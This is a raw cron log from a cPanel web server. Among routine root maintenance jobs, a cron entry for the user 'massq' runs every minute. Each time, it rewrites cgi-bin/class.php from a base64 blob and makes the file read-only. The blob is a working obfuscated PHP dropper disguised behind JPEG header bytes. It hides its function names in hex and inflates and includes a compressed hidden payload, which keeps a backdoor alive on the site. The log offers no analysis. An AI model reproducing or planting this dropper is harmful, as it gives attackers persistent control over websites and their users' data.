Nov 14 17:09:01 server CROND[8987]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:09:01 server CROND[8989]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 14 17:10:01 server CROND[9881]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 17:10:01 server CROND[9886]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 17:10:01 server CROND[9885]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 17:10:01 server CROND[9889]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:11:01 server CROND[10832]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:12:01 server CROND[11748]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 17:12:01 server CROND[11750]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:13:01 server CROND[12675]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:14:01 server CROND[13626]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:15:01 server CROND[14565]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:15:01 server CROND[14566]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 17:15:01 server CROND[14567]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 17:16:01 server CROND[15307]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:17:01 server CROND[15516]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:18:01 server CROND[15745]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:19:01 server CROND[16069]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:20:01 server CROND[16632]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 17:20:01 server CROND[16634]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 17:20:01 server CROND[16635]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 17:20:01 server CROND[16638]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 17:20:01 server CROND[16636]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 17:21:01 server CROND[17595]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
